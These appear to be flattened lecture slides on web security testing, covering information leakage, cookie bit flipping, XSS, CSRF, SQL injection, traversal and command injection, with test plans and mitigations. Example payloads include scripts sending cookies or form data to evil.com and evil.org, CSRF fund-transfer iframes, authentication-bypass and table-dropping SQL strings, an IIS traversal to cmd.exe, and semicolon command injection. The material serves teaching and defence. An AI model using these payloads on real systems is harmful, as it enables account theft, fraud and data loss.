Web Site Testing Information Leakage Information Leakage gives attackers an advantage: HTML source code: Comments Sensitive information Server-side error messages, HTTP responses Application error messages Information Leakage Download target website Search using a tool such as grep: HTML comments Application comments (ColdFusion, ‘//’, VB comments) IP-addresses E-mail addresses SQL queries Show database structure Show structure of queries Database connection strings Hidden input fields (see below) Information Leakage Helpful error messages Classic example: Logon page returns different error messages depending on whether username was not in the database or password did not match Error messages should help user, but not give away too much information Information Leakage Simple naming conventions Map site Guess naming conventions Example Reuters published third-quarter earnings of Intentia days before official release Intentia had put earning report on their server, but not yet provided a link Reporter guessed file’s location and name based on previous reports Information Leakage Administrative pages need to be password protected, not just hidden Information Leakage Attack sample scripts, components contained in default installations Default installations with samples are becoming rare because of bad experiences. Information Leakage Banner Grabbing Web servers identify by default system software and version. Allows attackers to concentrate on vulnerable systems. Fingerprinting tools diagnose webserver and version Defense Camouflage Can change all server-identification to appear as another webserver Harder done than said Information Leaking Test Plan Black Box Testing 1. 2. Grab website to create site map Use regular expressions to search for revealing information embedded in source code / pages: a. b. c. d. e. f. g. HTML comments application comments IP-addresses email addresses sql queries keywords used for database connection hidden input fields (which reveal other dangers) Information Leaking Test Plan Black Box Testing 3. HTTP banner grabbing 4. Cause error messages to be displayed 5. 6. reveals webserver data Do error messages reveal too much? Typically also reveal webserver, database server data. Scan cookies set by website for revealing field names. Use site map to guess name of pages Especially search for remote control and administration pages Insure that pages cannot be accessed out of order visit shipping page without going to payment site Information Leaking Test Plan Black Box Testing 7. 8. Search for script pages that can be downloaded as source files Run a brute-forcing tool (iDefense ID Auditor) to search for pages You are now entering the realm where you need explicit permission of the site owner. 9. 10. Use a port scanning tool to find administrative / control pages at other ports. Check for sample scripts left from default installations. Information Leaking Test Plan White Box Testing Easier than White Box testing since source code and side map is available Insure consistent Webserver / Database camouflage policy Insure explicit design to enforce page control flow. Insure design to protect administration and control interface. Attacking at the Client Client browser has complete control over data send out. Trivial changes when get method is used: Simple, but involved attack 1: User saves webpage Manually resolves relative links Alters input to be send Simple but involved attack 2: Information is visible in URL and easily altered. Use netcat to explicitly craft http requests Simpler attack: Use webbrowser proxy Paros Attacking the Client Webservers need to validate client input At At client: Moves load to client browsers Can be easily subverted server: Creates bottle-neck Cannot be subverted Moral: Why not do both? (Warning: Personal Opinion) Vast majority of invalid data input is not an attack But no user input can be trusted Attacking the Client Example Attack Points: Check boxes, radio buttons, drop-down menus implicitly restrict user input Javascript validation Hidden fields in forms Input length restrictions in form textbox Attacking the Client Attacking State State is maintained using: forms and CGI parameters cookies fat URL page navigation captures state Attacking the Client Attacking State Attacker can: edit URL e.g. guess and alter id in query string guess and jump to other pages (URL jumping) cookies edit cookie steal cookie edit forms / change output Attacking the Client Attacking State: Cookie Poisoning day part of time stamp Attacking the Client Attacking State Cookie Poisoning: Edit cookie to alter values. Old Example: Site stores cookie with expiration date. Cookie gives access to a web resource User changes expiration date. Time is in NTFS format Guess, change account information Use bit flipping Bit Flipping Excurse Some good, some hopelessly flawed encryption technology XOR’s plain text with a random value Example: Key is emil Plaintext is 007 : Cipher text is U]^L: 65,6D,69,6C 30,30,37,20 55,5D,5E,4C Bit Flipping Excurse 007 (drunk as usual) wants to change his cookie value to ‘003’ Calculates XOR between ‘007 ’ and ‘003 ’ Translate into ASCII 30,30,37,20 – 30,30,33,20 Result is 00,00,04,00 XOR result to the encrypted value: ^ = 55,5D,5E,4C 00,00,04,00 55,5D,5A,4C Bit Flipping Excurse 007 (drunk as usual) wants to change his cookie value to ‘007’ Changes cookie to new value Goes to website Cookie decoded to wrong value at the webserver 007 has assumed identity of 003. Uses M5 email system to arraign rendez-vous That’s why 003 got killed by jealous husband. Bit Flipping: Morale When fields are guessable: Use a different strong encryption method. Add unforgeable validation to cookie and validate at server Example: cookie-field = encrypted text + SHA256(plaintext.secret key) Attacking the Client Cookie Stealing Transfer cookie from another computer Use a cookie-stealing attack http://www.it-observer.com/news/7047/firefox_cookie_stealing_vulnerability/ XSS attacks Attacking the Client Attacking State: Fat URL User can change URLs Protection: Sensitive portion of URL needs to be encrypted Fat URL Testplan: Ensure that query string is encrypted. Ensure that debugging is not turned on through URL values: “…?debug=1” etc. Attacking User-Supplied Input Data Any user input needs to be validated. Attacks: XSS (see special presentation) SQL Injection Directory Transversal Attacking User-Supplied Input Data Any user input needs to be validated. Attacks: XSS SQL Injection Directory Transversal User Input Validation User input needs to be validated Test trust relationship in choke points within the boundary. This might violate the principle of defense in depth. XSS: Basics Web browsers interpret scripts embedded in webpages Instance of Data Code confusion XSS enabled if users can provide input that becomes output: Messages to message board. Messages sent inadvertently by client for itself. Hello message board. This is a message. <SCRIPT>malicious code</SCRIPT> <A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT> This is the end of my message. malicious code</SCRIPT>"> Click here</A> M XSS: Vulnerable HTML Elements <script> <object> Places an object such as an applet or media file in a document. <applet> Deprecated <embed> <form> in HTML 4.0 in favor of <object> XSS Simplest Example Bulletin board allows users to enter message without checking. User enters: Haha. <script>malicious code here</script> Haha. <embed src=http://realevil.com/bad.mov></embed> XSS: Example Submit query to vulnerable site: http://www.mapquest.com/directions/main.adp ?1a=">><script>alert('test');</script> XSS: Example Attacker sends URL of vulnerable site that forces an error: http://vulnerable.com/<script>malware</script > Vulnerable site handles the error by quoting <script>malware</script> in its response April 2008 Example XSS: ASP Example IIS ASP application for dynamically refining searches <A HREF="http://trusted.org/search_main.asp? searchstring=SomeString">click-me</A> XSS: ASP Example ASP code <% var BaserUrl = "http://trusted.org/search2.asp? searchagain=";Response.Write("<a href=\"" + BaseUrl + Request.QueryString("SearchString") + "\">click-me</a>" ) Vulnerability: SearchString is %> taken directly from query string XSS: ASP Example Attacker provides attack string: %22+onmouoseover%3D%27ClientForm% 2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FDat a% 3D%22+%2B+ClientForm%2EPersonalData%3BClient Form% 2Esubmit%3B%27 XSS: ASP Example Dynamically generated ASP page would look like: <A HREF="http://trusted.org/search2.asp? searchagain="" onmouoseover='ClientForm. action="evil.org/get.asp?Data=" + ClientForm.PersonalData;ClientForm. submit;'">click-me</A> XSS Types DOM-based / local XSS Vulnerable site has a static html site that uses parts of the URL as input to local javascript Victim is baited to go to vulnerable site using a URL with attack information inside. XSS: Local XSS Example <HTML> <TITLE>XSS Example</TITLE> Hello <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </SCRIPT> <BR> </HTML> XSS: Local XSS Example User sends URL: bobadilla.engr.scu.edu/xss0.html?name=thom as Receives basic welcome message. Attacker sends victim URL: bobadilla.engr.scu.edu/xss0.html?name=<scri pt>alert(document.cookie)</script> XSS: Local XSS Example Attacker sends victim URL: bobadilla.engr.scu.edu/xss0.html?name=<scri pt>alert(document.cookie)</script> Victim’s browser starts parsing HTML into DOM When parser reaches the script, it executes it. XSS: DOM The malicious payload was not inserted into HTML Using “#” instead of “?” will not send the query string to the browser, but the attack still works. bobadilla.engr.scu.edu/xss0.html#name=<scri pt>alert(document.cookie)</script> Attack cannot be detected at the vulnerable site? XSS: DOM Javascript runs with webbrowser’s privileges. Potential for remote code execution. XSS: DOM Vulnerability does only exist when webbrowser does not internally translate the “<“ and “>” characters. Currently, IE7 is vulnerable Mozilla is not XSS DOM Mitigation Avoid client side document rewriting, redirection, … Analyze any Javascript code Sanitize any user-controlled input XSS-DOM Example <SCRIPT> var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^[a-zA-Z0-9]$/)) { document.write(name); } else { Name can only contain window.alert("Security error"); alpha-numeric characters } </SCRIPT> XSS Types Non-persistent or reflected vulnerability Most common Typically promulgated by distributing URLs to victims. Vulnerable site uses user supplied input to dynamically build HTML page. XSS Types Stored / persistent XSS Vulnerable site allows user to upload data. Attacker uploads script. Most pernicious: Attacker only needs to generate one attack. XSS Payload Cookie Stealing Insert a script that places a resource from a site under attacker control Example: <script>document.write(“ <img src=http://evil.com/px.gif?cookie=“+document.cookie”) </script> XSS Payload History stealing Attack based on different coloring for already visited sites Use XSS to move browser to attack site Site executes script that loops through wellknown banking URLs Check color XSS Payload Stealing search engine queries Create predictable search terms and combine with the history hack XSS Payload Intranet Hacking Victim clicks on malicious web link JavaScript malware loads Java applet into browser Applet reveals internal IP address JavaScript then identifies and fingerprints web servers on intranet XSS Payload Change contents of a news page Example (presupposing how images are being referred to) <script> document.image[38].src=http://evil.com/evil.gif </script> XSS Payload Website Defacement Maria Sharapova’s home page hack XSS Mitigation Data Sanitation All user supplied input needs to be sanitized. Removing dangerous characters such as ‘<‘ and ‘>’ is not enough Attacker can use alternate codings Commenting out potentially malicious code is not enough Attacker can close the comment. XSS Mitigation Attacker provides malicious code: Example: After processing, input becomes: <script>code</script> Attacker instead provides: <COMMENT> Code becomes: <!-<script> <COMMENT> code (NOT PARSED BY FILTER) - --> <!-//--> </COMMENT> - --> </COMMENT> <img src="http://none" </COMMENT> onerror="alert(document.cookie);window.open( <img src="http://none" http://evil.org/fakeloginscreen.jsp); "> onerror="alert(document.cookie);window.open(http:// </script> evil.org/ fakeloginscreen.jsp);"> </COMMENT> CSRF: Cross-Site Request Forgeries Find XSS, get CSRF for free Example: Embed in html: <iframe src=https://somebank.com </iframe> Browser will execute iframe command Browser will send any (authentication) cookies along. <iframe src=https://somebank.com/transferfunds.asp?amnt=10000&acct=0010403900212033</iframe> <link rel=“stylesheet” href = “https://somebank.com/transferfunds.asp? amnt=10000& acct=0010403900212033” type=“text/css”> <bgsound SRC= “https://somebank.com/transferfunds.asp? amnt=10000& acct=0010403900212033” > ... Attacking User-Supplied Input Data SQL Injection SQL Injection Happens when user input becomes input to a database. Basic fault is lack of input validation Attacking User-Supplied Input Data SQL Injection Simple SQL injection attack example: string sql = “select * from client where name = ‘ “ + uname + “ ’ ” User enters uname: “Schwarz”. SQL command executed is string sql = “select * from client where name = ‘ Schwarz’ ” User enters uname: “ ‘Schwarz’ or 1 = 1”. SQL command executed is string sql = “select * from client where name = ‘Schwarz’ or 1=1” This command reads every row in the table “client”. Attacking User-Supplied Input Data SQL Injection SQL injection attacks are common. Some database servers allow a client application to perform more than one SQL statement. Suppose that user enters: “Schwarz’ drop table client” This builds an SQL query that queries table client and then deletes the table. Effects are greatly enhanced if the database runs at system administrator privileges. Attacking User-Supplied Input Data SQL Injection Typical Use: URL If query string for item: http://somesite.com/store/itemdetail.asp?id=666 query string is passed directly to SQL query: SELECT name, picture, description price FROM products WHERE id=666 Attacking User-Supplied Input Data SQL Injection Dangerous Use: $SQLquery = “SELECT * FROM users WHERE username=`”.$_POST[“username”].”’ AND password=‘”.$_POST[“password”].”’”; $DBresult=db_query($SQLQuery); if($DBresult) { // username-password is correct, log the user on } else { //username-password is incorrect } Attacking User-Supplied Input Data SQL Injection Dangerous Use: The following inputs will break the authentication: Thomas` - provided that a user Thomas exists. the -- makes the following an SQL comment ` ` OR 1 = 1 - ` ` OR true et.cet. Attacking User-Supplied Input Data SQL Injection Adding database commands: SELECT accountdata FROM acountinfo WHERE accountid = ` ‘; INSERT INTO accountdata (accountid,password) VALUES (`thomas`,’12345’) – ‘ AND password = ‘ ‘ Attacking User-Supplied Input Data SQL Injection Mitigation: Run queries below the administrator level. Build sql statements securely, checking each component carefully. Attacking User-Supplied Input Data: Directory Transversal Attacker tries to access unauthorized pages. Needs to guess location of pages. Uses “../” to walk up directory trees. Attacking User-Supplied Input Data Canonicalization Generic method to validate input Transforms input into a “canonical form” before deciding whether input is admissable. Example: ‘/’ character ‘/’ in http %5c UTF-8 encoding %c0%af (Unicode encoding Attacking User-Supplied Input Data Double Escape Trick Example ‘\’ %5c (Hex encoding) %255c (Encode the %) Example: IIS4/ IIS5 Web server vulnerability http://www.vulnerable.com/app/..%c0%af..%c0%af../w innt/systems32/cmd.exe?/c+dir After patching, attackers used the same string but double escaped the percentage signs. IIS4 / IIS5 did not resolve escapes in user input deep enough. Attacking Applications on Server Buffer Overflows NULL Attack Place NULL into strings Some application moduless will sometimes not match strings with NULL, but others will resolve strings removing the NULL Attacking the Server SQL Injection: Stored procedures Database servers have command shells that can be called from within a query: EXEC master..xp_cmdshell ‘regread’ xp_regread xp_regwrite xp_regdeletekey xp_regdeletevalue xp_regremovemultistring …. Attacking the Server Command injection User input is passed to various components. Example: Webpage will tell whether a given person is logged on. Implemented by passing user name to UNIX “finger” utility. Vulnerabilities: no parameters will print out all current users. Command injection: Piggy-back other commands by using a semicolon or a newline (“\r\n”); Try: “tschwarz; ls –al” Try: “tschwarz\r\nls –al” Attacking the Server Fingerprinting server and using known exploits: HTTP headers reveal server information Can be used to find a known exploit Fingerprinting software forces errors and determines server software based on header placements.